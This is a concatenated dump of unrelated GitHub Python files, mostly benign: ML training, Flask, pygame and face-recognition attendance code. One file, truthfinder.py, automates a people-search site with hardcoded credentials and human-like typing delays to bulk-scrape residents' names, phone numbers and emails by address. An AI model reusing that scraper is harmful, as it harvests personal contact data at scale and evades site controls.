radar_sample_reader(filename).getNextSample()\n        # print(\"type:  \", type(np_raw_frame))\n        # print(\"shape: \", np.shape(np_raw_frame))\n        # np_raw_frame = np_raw_frame[:round(len(np_raw_frame)/2)]\n        print(\"new length: \", len(np_raw_frame))\n        raw_frame = np.array(np_raw_frame, dtype=np.byte)\n        # print(\"-----------\")\n        # print(header.timestamp)\n        # Assuming the data is ready to be processed at this point\n        # print(\"-----------\")\n        UDP_IP = \"127.0.0.1\"\n        UDP_PORT = 5005\n        #print(\"UDP target IP: %s\" % UDP_IP)\n        #print(\"UDP target port: %s\" % UDP_PORT)\n        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\n        # sock.sendto(header, (UDP_IP, UDP_PORT))\n        msgSend = str.encode(str(raw_frame))\n        # msgSend = str.encode(\"Test Message\")\n        print(msgSend)\n        sock.sendto(msgSend, (UDP_IP, UDP_PORT))\n        \"\"\"\n        for i in range(len(raw_frame)):\n            str\n            sock.sendto(raw_frame(i), (UDP_IP, UDP_PORT))\n\t\"\"\"\n","repo_name":"N2WU/open_radar_processing","sub_path":"radar_stream.py","file_name":"radar_stream.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"29439566529","text":"def suma_divisores(a):\n    x = 0\n    i = 1\n    while i < a:\n        if a % i == 0:\n            x = x + i\n        i = i +1\n\n    for i in range(2,a):\n        if a%i == 0:\n            return x, False\n    if a%i != 0 and a >1:\n        return x, True\n    return x, False","repo_name":"pabloschwarzenberg/grader","sub_path":"tema3_ej1/tema3_ej1_792ccfda14ab5c8be65a4087c3973674.py","file_name":"tema3_ej1_792ccfda14ab5c8be65a4087c3973674.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19826082137","text":"import cv2\nimport numpy as np\nimport face_recognition\nfrom datetime import datetime\nimport os\n\n\ndef FindEncodings(images):\n    encodeList=[]\n    for image in images:\n        image= cv2.cvtColor(image,cv2.COLOR_BGR2RGB)\n        encode = face_recognition.face_encodings(image)[0]\n        encodeList.append(encode)\n    return encodeList\n\ndef Mark_Attendence(name):\n    with open('attendence.csv','r+') as Myfile:\n        Temp_List = Myfile.readlines()\n        name_List = []\n        for line in Temp_List:                          #append all names in the file in name_list\n            Line = line.split(',')\n            name_List.append(Line[0])\n        if name not in name_List:                       #check if name already exists in file or not\n            now = datetime.now()                        #get time and date\n            dtString = now.strftime('%H:%M:%S')\n            Myfile.writelines(f'\\n{name},{dtString}')        #write in file\n\npath = 'source images'\nimages = []\nnames = []\nmylist = os.listdir(path)\nfor name in mylist:                                                 #read images from source and append names in names list\n    current_Image=cv2.imread(f'{path}/{name}')\n    images.append(current_Image)\n    names.append(os.path.splitext(name)[0])\nprint('list of names:')\nprint(names)\n\nEncodeListKnown=FindEncodings(images)                                #encodign the images by calling the function\ncap = cv2.VideoCapture(0)                                           #capture video using webcam\n\nwhile True:\n    success, image = cap.read()                                       #read image from webcam\n    resized_image = cv2.resize(image,(0,0),None,0.25,0.25)                     #resie image\n    resized_image = cv2.cvtColor(resized_image, cv2.COLOR_BGR2RGB)                    #convert the color from BGR to RGB\n\n    faces_Current_Frame = face_recognition.face_locations(resized_image)\n\n    Encode_Current_Frame = face_recognition.face_encodings(resized_image,faces_Current_Frame)\n\n    for encodeFace,Face_loccation in zip(Encode_Current_Frame,faces_Current_Frame):        #match the faces from the source images to each face in the frame from the webcam\n        matches=face_recognition.compare_faces(EncodeListKnown,encodeFace)\n        facedis=face_recognition.face_distance(EncodeListKnown,encodeFace)\n        matchindex=np.argmin(facedis)\n\n        if matches[matchindex]:                                                     #if match found then print the name and draw a square aroud the face to locate it\n            name = names[matchindex].upper()\n            print(name)\n            y1,x2,y2,x1=Face_loccation\n            y1,x2,y2,x1=y1*4,x2*4,y2*4,x1*4\n            cv2.rectangle(image,(x1,y1),(x2,y2),(0.255,0),2)\n            cv2.rectangle(image,(x1,y2-35),(x2,y2),(0,255,0),cv2.FILLED)\n            cv2.putText(image,name,(x1+6,y2-6),cv2.FONT_HERSHEY_COMPLEX,1,(255,255,255),2)\n\n            Mark_Attendence(name)                                                   #call function to mark attendence\n    cv2.imshow('webcam',image)\n    cv2.waitKey(1)                  #wait for 1ms\n","repo_name":"Mohamad-hammad/Automatic-Attendence-System-using-Opencv","sub_path":"AutomaticAttendanceSystem.py","file_name":"AutomaticAttendanceSystem.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26018238919","text":"import random,time,datetime,difflib,os\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.webdriver.support.select import Select\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom bs4 import BeautifulSoup\r\nfrom openpyxl.reader.excel import load_workbook\r\n\r\n\r\n\r\ndef parse_phone_numbers(soup):\r\n    pers_crec = []\r\n    for elem1 in soup.findAll('section', {'id': 'contact1'}):\r\n        for elem2 in elem1.findAll('div', {'class': 'section-content phone-content'}):\r\n            for elem3 in elem2.findAll('div', {'class': 'record'}):\r\n                for elem4 in elem3.findAll('div', {'class': 'record-name'}):\r\n                    pers_ph = elem4.text\r\n                    pers_ph = pers_ph.strip()\r\n                    try:\r\n                        pers_ph = pers_ph.replace('View Phone Details', '')\r\n                        pers_ph = pers_ph.replace('Phone Number', '')\r\n                    except:\r\n                        pass\r\n                    pers_crec.append(pers_ph)\r\n    final_list = []\r\n    for e1 in pers_crec:\r\n        final_list.append(e1.strip())\r\n    print(' , '.join(final_list))\r\n    return final_list\r\n\r\n\r\ndef parse_emails(soup):\r\n    pers_erec = []\r\n    for elem1 in soup.findAll('section', {'id': 'contact1'}):\r\n        for elem5 in elem1.findAll('div', {'class': 'section-content email-content'}):\r\n            for elem6 in elem5.findAll('div', {'class': 'section-table-row-item email-address'}):\r\n                for elem7 in elem6.findAll('span'):\r\n                    # print(elem7.text)\r\n                    pers_em = elem7.text\r\n                    pers_em = pers_em.strip()\r\n                    pers_erec.append(pers_em)\r\n\r\n    print('Email')\r\n    final_list = []\r\n    for e1 in pers_erec:\r\n        final_list.append(e1.strip())\r\n    print(' , '.join(final_list))\r\n    return final_list\r\n\r\ndef is_el_visible(driver,xpath):\r\n    try:\r\n        driver.find_element_by_xpath(xpath)\r\n        return True\r\n    except:\r\n        return False\r\n\r\ndef wait_for_el_to_be_visible(xpath):\r\n    while True:\r\n        try:\r\n            myElem = WebDriverWait(driver, 10).until(\r\n                EC.presence_of_element_located((By.XPATH,\r\n                                                xpath)))\r\n            time.sleep(random.uniform(.03, 1.1))\r\n            return True\r\n        except:\r\n            driver.refresh()\r\n\r\ndef write_record_csv(record,fname,cols):\r\n    fout = open(fname,'a')\r\n    fout.write(get_record_string(record,cols))\r\n    fout.close()\r\n\r\n\r\ndef get_record_string(d,cols):\r\n    vals = [d.get(col,\"\") for col in cols]\r\n    string = '\\t'.join(vals)+'\\n'\r\n    return string\r\n\r\n\r\ndef create_csv_file(fname,cols):\r\n    fout = open(fname, \"w\")\r\n    string = '\\t'.join(cols) + '\\n'\r\n    fout.write(string)\r\n    fout.close()\r\n\r\ndef scrape_site(addresses, filename, columns, cities, states):\r\n    flag=0\r\n    for a in range(0, len(addresses) - 1):\r\n        record = {}\r\n        addr = addresses[a]\r\n        city = cities[a]\r\n        state = states[a]\r\n        record[\"Address\"] = addr\r\n        record[\"City\"] = city\r\n        record[\"State\"] = state\r\n\r\n        time.sleep(random.uniform(.04, 1.5))\r\n        a = driver.find_element_by_xpath('//input[@name=\"street\"]')\r\n        if flag:\r\n            a = driver.find_element_by_xpath('//input[@name=\"street\" and ancestor::form[@tab=\"location\"]]')\r\n        a.clear()\r\n        for letters in addr:\r\n            time.sleep(random.uniform(0.4,1.3))\r\n            a.send_keys(letters)\r\n        time.sleep(random.uniform(.3,2.1))\r\n\r\n        c = driver.find_element_by_xpath('//input[@name=\"city\"]')\r\n        if flag:\r\n            c = driver.find_element_by_xpath('//input[@name=\"city\" and ancestor::form[@tab=\"location\"]]')\r\n        c.clear()\r\n        for letters in city:\r\n            time.sleep(random.uniform(0.4,1.3))\r\n            c.send_keys(letters)\r\n        time.sleep(random.uniform(.3,2.1))\r\n\r\n        s = Select(driver.find_element_by_xpath('//select[@name=\"state\"]'))\r\n        if flag:\r\n            s = Select(driver.find_element_by_xpath('//select[@name=\"state\" and ancestor::form[@tab=\"location\"]]'))\r\n\r\n        time.sleep(random.uniform(.3,2.1))\r\n        s.select_by_value(state)\r\n\r\n        if flag:\r\n            driver.find_element_by_xpath('//div[contains(text(),\"Search\") and ancestor::form[@tab=\"location\"]]').click()\r\n        else:\r\n            driver.find_element_by_xpath('//button[contains(text(),\"Search\")]').click()\r\n        wait_for_el_to_be_visible('//div[@class=\"nav-item active\" and @data-section-name=\"map\"]')\r\n\r\n        driver.find_element_by_xpath('//div[@data-section-name=\"properties\"]').click()\r\n\r\n        wait_for_el_to_be_visible('//div[@class=\"nav-item active\" and @data-section-name=\"properties\"]')\r\n\r\n        owner = driver.find_element_by_xpath('//div[@class=\"property-current-owner\"]/h2').text\r\n        record[\"Owner\"] = owner\r\n        time.sleep(random.uniform(.03, 1.1))\r\n\r\n        driver.find_element_by_xpath('//div[@data-section-name=\"residents\"]').click()\r\n        wait_for_el_to_be_visible('//div[@class=\"nav-item active\" and @data-section-name=\"residents\"]')\r\n\r\n        d = driver.find_elements_by_xpath('//span[contains(.,\"Possible Current\")]/../..//div[@class=\"section-table-row-item residents-name\"]')\r\n        if len(d)>0:\r\n            dResidents = [t.text for t in d]\r\n            m = difflib.SequenceMatcher\r\n            dResSim = [m(None,owner, R).ratio() for R in dResidents]\r\n            i=1\r\n            if owner in dResidents:\r\n                i=dResidents.index(owner)\r\n            else:\r\n                i=max(enumerate(dResSim), key=lambda p: p[1])[0]\r\n            record[\"Resident\"] = dResidents[i]\r\n            time.sleep(random.uniform(1, 2))\r\n\r\n            driver.find_element_by_xpath('(//span[contains(.,\"Possible Current\")]/../..//a)[{0}]'.format(i+1)).click()\r\n            time.sleep(random.uniform(1, 2))\r\n\r\n            wait_for_el_to_be_visible('//div[@id=\"section-inline-header-personal\"]')\r\n\r\n            html = driver.page_source\r\n            soup = BeautifulSoup(html)\r\n\r\n            phone_numbers = parse_phone_numbers(soup)\r\n            emails = parse_emails(soup)\r\n\r\n            for i, phone_number in enumerate(phone_numbers):\r\n                record[\"Phone{0}\".format(i)] = phone_number\r\n            for i, email in enumerate(emails):\r\n                record[\"Email{0}\".format(i)] = email\r\n        else:\r\n            record[\"Resident\"] = \"N/A\"\r\n        print(record)\r\n        write_record_csv(record, filename, columns)\r\n        driver.find_element_by_xpath('//div[@class=\"search-bar\"]').click()\r\n        driver.find_element_by_xpath('//li[@data-tab=\"location\"]').click()\r\n        time.sleep(random.uniform(5.0, 7.0))\r\n        flag=1\r\n\r\nif __name__ == '__main__':\r\n    options = Options()\r\n    options.add_argument(\"user-data-dir=ChromeSession\")\r\n    driver = webdriver.Chrome(options=options)\r\n    driver.set_page_load_timeout(1000)\r\n    driver.get('https://www.truthfinder.com/login')\r\n    time.sleep(2)\r\n    if is_el_visible(driver,\"//input[@id='email']\"):\r\n        wait_for_el_to_be_visible(\"//input[@id='email']\")\r\n        t = driver.find_element_by_id(\"email\")\r\n        t.clear()\r\n        name = 'fake.mail0@yahoo.com'\r\n        for letters in name:\r\n            time.sleep(random.uniform(0.1, 1.3))\r\n            t.send_keys(letters)\r\n        p = driver.find_element_by_id(\"password\")\r\n        p.clear()\r\n        passw = 'October2019'\r\n        for letters in passw:\r\n            time.sleep(random.uniform(0.1, 1.3))\r\n            p.send_keys(letters)\r\n        time.sleep(10)\r\n        driver.find_element_by_xpath('//button[@id=\"login-button\"]').click()\r\n    datetime = datetime.datetime.now().strftime(\"%Y-%m-%d %H-%M-%S\")\r\n    directoryPath = \"truth\"\r\n    os.chdir(directoryPath)\r\n    directoryPath = os.getcwd()\r\n    for folders, sub_folders, file in os.walk(directoryPath):\r\n            for name in file:\r\n                if name.endswith(\".xlsx\"):\r\n                    cities = []\r\n                    addresses = []\r\n                    states = []\r\n                    filename = os.path.join(folders, name)\r\n                    print(filename)\r\n\r\n                    outfile = os.path.basename(filename)[:-5]\r\n                    outfile = outfile + '-UPDATE-' + str(datetime) + '.csv'\r\n\r\n                    wb = load_workbook(filename, data_only=True)\r\n                    # sheet = wb.get_sheet_by_name('Sheet1')\r\n                    ws = wb.active\r\n                    first_column = ws['A']\r\n                    second_column = ws['B']\r\n                    third_column = ws['C']\r\n\r\n                    for x in range(len(first_column)):\r\n                        addresses.append(first_column[x].value)\r\n\r\n                    for x in range(len(second_column)):\r\n                        cities.append(second_column[x].value)\r\n                    for x in range(len(third_column)):\r\n                        states.append(third_column[x].value)\r\n\r\n                    aclean = [x for x in addresses if x != None]\r\n                    cleanaddresses = [x for x in aclean if x != 'Address']\r\n\r\n                    cclean = [x for x in cities if x != None]\r\n                    cleancities = [x for x in cclean if x != 'City']\r\n\r\n                    sclean = [x for x in states if x != None]\r\n                    cleanstates = [x for x in sclean if x != 'State']\r\n\r\n                    if not cleanaddresses:\r\n                        print(\"List is empty\")\r\n                    else:\r\n                        columns = [\"Address\",\"City\",\"State\",\"Owner\",\"Resident\",\"Phone0\",\"Phone1\",\"Phone2\",\"Phone3\",\"Phone4\",\"Phone5\",\"Phone6\",\"Phone7\",\"Phone8\",\"Phone9\",\"Phone10\",\"Email0\",\"Email1\",\"Email2\",\"Email3\"]\r\n                        create_csv_file(outfile,columns)\r\n                        wait_for_el_to_be_visible(\"//input[@name='firstName']\")\r\n                        driver.find_element_by_xpath('//span[contains(text(), \"Search By Address\")]').click()\r\n                        scrape_site(cleanaddresses, outfile,columns, cleancities, cleanstates)\r\n","repo_name":"alamin19/webscraping_system","sub_path":"extract_newspaper_data/truthfinder.py","file_name":"truthfinder.py","file_ext":"py","file_size_in_byte":10240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"10264444863","text":"__authors__ = [\n    '\"Daniel Hans\" <dhans@google.com>'\n  ]\n\n\nfrom soc.logic.helper import timeline as timeline_helper\n\nfrom soc.tasks import responses\nfrom soc.tasks.helper import decorators\n\nfrom soc.modules.gci.logic.models.program import logic as gci_program_logic\nfrom soc.modules.gci.logic.models.student import logic as gci_student_logic\nfrom soc.modules.gci.logic.models.student_ranking import logic \\\n    as gci_student_ranking_logic\nfrom soc.modules.gci.logic.models.task import logic as gci_task_logic\nfrom soc.modules.gci.models import task as gci_task_model\n\n\ndef getDjangoURLPatterns():\n  \"\"\"Returns the URL patterns for the tasks in this module.\n  \"\"\"\n\n  patterns = [\n      (r'^tasks/gci/ranking/update$',\n        'soc.modules.gci.tasks.ranking_update.update'),\n      (r'^tasks/gci/ranking/recalculate/(?P<key_name>.+)$',\n        'soc.modules.gci.tasks.ranking_update.recalculate'),\n      (r'^tasks/gci/ranking/recalculate_student/(?P<key_name>.+)$',\n        'soc.modules.gci.tasks.ranking_update.recalculate_student'),\n      (r'^tasks/gci/ranking/clear/(?P<key_name>.+)$',\n        'soc.modules.gci.tasks.ranking_update.clear')]\n\n  return patterns\n\ndef startUpdatingTask(task):\n  \"\"\"Starts a new task which updates ranking entity for the specified task.\n  \"\"\"\n\n  url = '/tasks/gci/ranking/update'\n  queue_name = 'gci-update'\n  context = {\n      'task_keyname': task.key().id_or_name()\n      }\n  responses.startTask(url, queue_name, context)\n\ndef startClearingTask(key_name):\n  \"\"\"Starts a new task which clears all ranking entities for the program\n  specified by the given key_name.\n  \"\"\"\n\n  url = '/tasks/gci/ranking/clear/%s' % key_name\n  queue_name = 'gci-update'\n  responses.startTask(url, queue_name)\n\ndef updateGCIRanking(request, *args, **kwargs):\n  \"\"\"Updates student ranking based on the task passed as post argument.\n  \"\"\"\n\n  post_dict = request.POST\n\n  task_keyname = post_dict.get('task_keyname')\n  if not task_keyname:\n    responses.terminateTask()\n\n  task = gci_task_logic.getFromKeyName(str(task_keyname))\n  gci_student_ranking_logic.updateRanking(task)\n\n  return responses.terminateTask()\n\n@decorators.iterative_task(gci_student_logic)\ndef recalculateGCIRanking(request, entities, context, *args, **kwargs):\n  \"\"\"Recalculates student ranking for a program with the specified key_name.\n  \"\"\"\n\n  program = gci_program_logic.getFromKeyName(kwargs['key_name'])\n  if not program:\n    return responses.terminateTask()\n\n  # prefetch all task difficulties\n  all_d = gci_task_model.TaskDifficultyTag.all().fetch(100)\n\n  for entity in entities:\n    # check if the entity refers to the program in scope\n    if entity.scope.key() != program.key():\n      continue\n\n    # get all the tasks that the student has completed\n    filter = {\n        'student': entity,\n        'status': 'Closed',\n        }\n    tasks = gci_task_logic.getForFields(filter=filter)\n\n    # calculate ranking with all the tasks\n    gci_student_ranking_logic.calculateRankingForStudent(entity, tasks, all_d)\n\n    # this task should not be repeated after the program is over\n    timeline = program.timeline\n    if timeline_helper.isAfterEvent(timeline, 'program_end'):\n      raise responses.DoNotRepeatException()\n\n@decorators.iterative_task(gci_student_ranking_logic)\ndef clearGCIRanking(request, entities, context, *args, **kwargs):\n  \"\"\"Clears student ranking for a program with the specified key_name.\n  \"\"\"\n\n  program = gci_program_logic.getFromKeyName(kwargs['key_name'])\n  if not program:\n    return responses.terminateTask()\n\n  for entity in entities:\n\n    # check if the entity refers to the program in scope\n    if entity.scope.key() != program.key():\n      continue\n\n    entity.points = 0\n    entity.tasks = []\n\n    entity.put()\n\ndef recalculateGCIStudentRanking(request, *args, **kwargs):\n  \"\"\"Recalculates GCI Student Ranking for the specified student.\n  \"\"\"\n\n  student = gci_student_logic.getFromKeyName(kwargs['key_name'])\n  if not student:\n    return responses.terminateTask()\n\n  # find ranking entity for the student and clear it\n  filter = {\n      'student': student\n      }\n  ranking = gci_student_ranking_logic.getForFields(filter=filter,\n      unique=True)\n  ranking.points = 0\n  ranking.tasks = []\n  ranking.put()\n\n  # get all the tasks that the student has completed\n  filter = {\n      'student': student,\n      'status': 'Closed',\n      }\n  tasks = gci_task_logic.getForFields(filter=filter)\n\n  for task in tasks:\n    gci_student_ranking_logic.updateRanking(task)\n\n  return responses.terminateTask()\n\n\nclear = clearGCIRanking\nrecalculate = recalculateGCIRanking\nrecalculate_student = recalculateGCIStudentRanking\nupdate = decorators.task(updateGCIRanking)\n","repo_name":"SRabbelier/Melange","sub_path":"app/soc/modules/gci/tasks/ranking_update.py","file_name":"ranking_update.py","file_ext":"py","file_size_in_byte":4666,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"22786817236","text":"import torch\nfrom torch import optim, nn\nfrom torch.utils.data import DataLoader\n\nfrom mydataset import MyDataset\nfrom model import GoogLeNet\n\nbatchsz = 20\nlr = 1e-3\nepochs = 10\nnum_clazz = 200\n\ndevice = torch.device('cuda')\n\nroot = \"E:\\\\ai_learning_resource\\\\hwdb\\\\HWDB1\\\\train\"\nroot_ = \"E:\\\\ai_learning_resource\\\\hwdb\\\\HWDB1\\\\test\"\ntrain_db = MyDataset(root, 224, num_clazz, mode='train')\nval_db = MyDataset(root, 224, num_clazz, mode='val')\ntest_db = MyDataset(root_, 224, num_clazz, mode='test')\n\ntrain_loader = DataLoader(train_db, batch_size=batchsz, shuffle=True, num_workers=8)\nval_loader = DataLoader(val_db, batch_size=batchsz, num_workers=8)\ntest_loader = DataLoader(test_db, batch_size=batchsz, num_workers=8)\n\n\ndef evalute(model, loader):\n    correct = 0\n    total = len(loader.dataset)\n    for x, y in loader:\n        x, y = x.to(device), y.to(device)\n        with torch.no_grad():\n            logits = model(x)\n            pred = logits.argmax(dim=1)\n        correct += torch.eq(pred, y).sum().float().item()\n    return correct / total\n\n\ndef main():\n\n    model = GoogLeNet(num_classes=num_clazz, aux_logits=True, init_weights=True).to(device)\n    optimizer = optim.Adam(model.parameters(), lr=lr)\n    scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=0.9)\n    criterion = nn.CrossEntropyLoss().to(device)\n\n    validation_acc = []\n    best_acc, best_epoch = 0, 0\n    global_step = 0\n\n    for epoch in range(epochs):\n        model.train()  # 训练模式\n        total_batch_loss = 0\n        print('start')\n        # print(train_loader[:1])\n        for step, data in enumerate(train_loader):\n            x, y = data\n            x, y = x.to(device), y.to(device)\n            logits, aux_logits2, aux_logits1 = model(x)\n            loss0 = criterion(logits, y)\n            loss1 = criterion(aux_logits1, y)\n            loss2 = criterion(aux_logits2, y)\n            loss = loss0 + loss1 * 0.3 + loss2 * 0.3\n            total_batch_loss += loss.item()\n            # 梯度清零\n            optimizer.zero_grad()\n            # 计算梯度\n            loss.backward()\n            # 更新参数\n            optimizer.step()\n\n            if step % 200 == 0:\n                print('Step {}/{} \\t loss: {}'.format(step, len(train_loader), loss))\n\n        # eval模式\n        model.eval()\n        val_acc = evalute(model, val_loader)\n        if val_acc > best_acc:\n            best_epoch = epoch\n            best_acc = val_acc\n            torch.save(model.state_dict(), 'best.mdl')\n\n        scheduler.step()  # 调整学习率\n        print(\"epoch: \", epoch, \"epoch_loss: \", total_batch_loss, \"epoch_acc:\", val_acc)\n\n    print('best acc:', best_acc, 'best epoch:', best_epoch)\n\n    model.load_state_dict(torch.load('best.mdl'))\n    print('loaded from ckpt!')\n\n    test_acc = evalute(model, test_loader)\n    print('test acc:', test_acc)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"tianqingzx/markdown-notes","sub_path":"notes/Python编程技术/pytorch-learn/baidu/train_googlenet.py","file_name":"train_googlenet.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13747879193","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass UConv1d(nn.Module):\n    def __init__(self, len_subseq, n_class=2):\n        super(UConv1d, self).__init__()\n\n        self.n_class = n_class\n        \n        seq = (len_subseq, 20)\n        pssm = (21, len_subseq)\n\n        self.pool = nn.MaxPool1d(2)\n        \n        self.conv1 = nn.Sequential(\n            nn.Conv1d(seq[1] + pssm[0], 32, 3, padding=1),\n            nn.ReLU(),\n            nn.BatchNorm1d(32),\n            nn.Dropout(0.2)\n        )\n        \n        self.conv2 = nn.Sequential(\n            nn.Conv1d(32, 64, 3, padding=1),\n            nn.ReLU(),\n            nn.BatchNorm1d(64),\n            nn.Dropout(0.2)\n        )\n\n        self.conv3 = nn.Sequential(\n            nn.Conv1d(64, 128, 3, padding=1),\n            nn.ReLU(),\n            nn.BatchNorm1d(128),\n            nn.Dropout(0.2)\n        )\n        \n        self.conv4 = nn.Sequential(\n            nn.Conv1d(128, 256, 3, padding=1),\n            nn.ReLU(),\n            nn.BatchNorm1d(256),\n            nn.Dropout(0.2)\n        )\n\n        self.deconv1 = nn.Sequential(\n            nn.Upsample(size=len_subseq // 2),\n            nn.Conv1d(256, 128, 3, padding=1),\n            nn.ReLU(),\n            nn.BatchNorm1d(128),\n            nn.Dropout(0.2)\n        )\n        \n        self.deconv2 = nn.Sequential(\n            nn.Upsample(size=len_subseq),\n            nn.Conv1d(128, 64, 3, padding=1),\n            nn.ReLU(),\n            nn.BatchNorm1d(64),\n            nn.Dropout(0.2)\n        )\n        \n        self.deconv3 = nn.Sequential(\n            nn.Conv1d(64, 32, 3, padding=1),\n            nn.ReLU(),\n            nn.BatchNorm1d(32),\n            nn.Dropout(0.2)\n        )\n\n        self.flatten = nn.Flatten()\n        self.fc = nn.Linear(32 * len_subseq * 2, (len_subseq - 1) * n_class)\n        \n\n    def forward(self, seq, pssm):\n        batch_size = seq.shape[0]\n        \n        seq = torch.transpose(seq, dim0=1, dim1=2)\n        \n        features = torch.cat([seq, pssm], dim=-2)\n\n        conv1 = self.conv1(features)\n\n        conv2 = self.conv2(conv1)\n        pool2 = self.pool(conv2)\n\n        conv3 = self.conv3(pool2)\n        pool3 = self.pool(conv3)\n\n        conv4 = self.conv4(pool3)\n\n        deconv1 = self.deconv1(conv4)\n        cat1 = torch.cat([conv3, deconv1], dim=-1)\n\n        deconv2 = self.deconv2(cat1)\n        cat2 = torch.cat([conv2, deconv2], dim=-1)\n        \n        deconv3 = self.deconv3(cat2)\n\n        fc  = self.fc(self.flatten(deconv3)).view(-1, self.n_class)\n        \n        return F.softmax(fc, dim=-1)\n","repo_name":"glebelg/protein-alpha-angles-prediction","sub_path":"models/UConv1d.py","file_name":"UConv1d.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14146867989","text":"import pygame\n\nfrom assets import Assets\n\n\nclass HandicapButton(pygame.sprite.Sprite):\n    def __init__(self, x, y):\n        pygame.sprite.Sprite.__init__(self)\n        self.pressed_image = Assets.handicap_button_pressed.convert_alpha().copy()\n        self.on_image = Assets.handicap_button_on.convert_alpha().copy()\n        self.off_image = Assets.handicap_button_off.convert_alpha().copy()\n        self.image = self.off_image\n        self.rect = self.image.get_rect()\n        self.rect.x = x\n        self.rect.y = y\n        self.pressed = False\n        self.was_depressed = False\n        self.enter_handicap_sound = Assets.beep_sound\n        self.exit_handicap_sound = Assets.beep_sound\n\n    def handle_event(self, event):\n        self.was_depressed = False\n\n        if event.type == pygame.MOUSEBUTTONDOWN and not self.pressed:\n            if event.button == 1:\n                if self.rect.collidepoint(event.pos):\n                    self.pressed = True\n\n        elif event.type == pygame.MOUSEBUTTONUP and self.pressed:\n            if event.button == 1:\n                self.pressed = False\n                if self.rect.collidepoint(event.pos):\n                    self.was_depressed = True\n\n    def update(self, state):\n        if self.pressed:\n            pass\n        else:\n            self.image = self.on_image if state.in_handicap_mode else self.off_image\n        if self.was_depressed:\n            if state.in_handicap_mode:\n                self.exit_handicap_sound.play()\n                self.image = self.off_image\n            else:\n                self.enter_handicap_sound.play()\n                self.image = self.on_image","repo_name":"moormanm/destination_dispatch_touch_screen","sub_path":"handicapbutton.py","file_name":"handicapbutton.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11505575939","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom dune import execute_query\nfrom dune import get_query_results\nfrom dune import get_query_status\nimport time\nimport os\nfrom pprint import pprint\nimport json\nimport notion\n\n\n\n\n\napp = Flask(__name__)\n\n@app.route('/query', methods=[\"GET\"])\ndef get_query():\n    execution_id = execute_query(1530879)\n    while True:\n        response = get_query_status(execution_id)\n    \n       \n        response_status = response.json()['state']\n        \n        if response_status == 'QUERY_STATE_COMPLETED':\n            data = get_query_results(execution_id).json()\n            \n            return data\n        elif response_status == 'QUERY_STATE_EXECUTING':\n            time.sleep(.25)\n        else: \n            return response_status\n\n\n@app.route('/', methods=[\"GET\", \"POST\"])\ndef hello():\n    if request.method == \"POST\":\n        create_whale_db(request.form[\"pageID\"])\n    return render_template(\"template1.html\")\n\n@app.route('/create_db/<string:parent_id>', methods=[\"GET\"])\ndef create_db(parent_id:str):\n    return notion.create_db(parent_id)\n\n@app.route('/load_mock_data/<string:database_id>',  methods=[\"GET\"])\ndef get_mock_data(database_id:str):\n    data = {}\n    with open('data.json') as json_file:\n        data = json.load(json_file)\n    notion.add_trx_rows(database_id, data)\n    return \"Transaction data is loaded\"\n\n@app.route('/cr_load_mock_db/<string:parent_id>', methods=[\"GET\"])\ndef create_load_mock_db(parent_id:str):\n    db = notion.create_db(parent_id)\n    print(\"DB created:\"+db[\"id\"])\n\n    with open('data.json') as json_file:\n        data = json.load(json_file)\n    notion.add_trx_rows(db[\"id\"], data)\n    return \"DB created and Transaction data is loaded\"\n\n@app.route('/create_whale_db/<string:parent_id>', methods=[\"GET\", \"POST\"])\ndef create_whale_db(parent_id:str):\n    \n\n    db = notion.create_db(parent_id)\n\n    data=get_query()\n \n    notion.add_trx_rows(db[\"id\"], data)\n    return \"DB created, Dune data is returned and Transaction data is loaded\"\n\n\n@app.route('/query_db/<string:database_id>', methods=[\"GET\"])\ndef query_db(database_id:str):\n    return notion.query(database_id)\n\n\n\nif __name__ == '__main__':\n    app.run()\n\n\n","repo_name":"imju/DuneNotionPlugin","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"21885153332","text":"import boto3\nimport datetime\nimport json\n\ns3 = boto3.client('s3')\n\ndef get_model_init(key, bucket):\n    raw_data = s3.get_object(Bucket=bucket, Key=key)\n    \n    try:\n    \tjson_data = json.loads(raw_data['Body'].read().decode('utf-8'))\n    \tinit_time = datetime.datetime.strptime(json_data['time_origin'],'%Y-%m-%d %H:%M:%S')\n    except Exception as e:\n    \treturn None\n\n    return init_time","repo_name":"christensenmichael0/OceanMapper","sub_path":"scripts/python_scripts/api_utils/get_model_init.py","file_name":"get_model_init.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
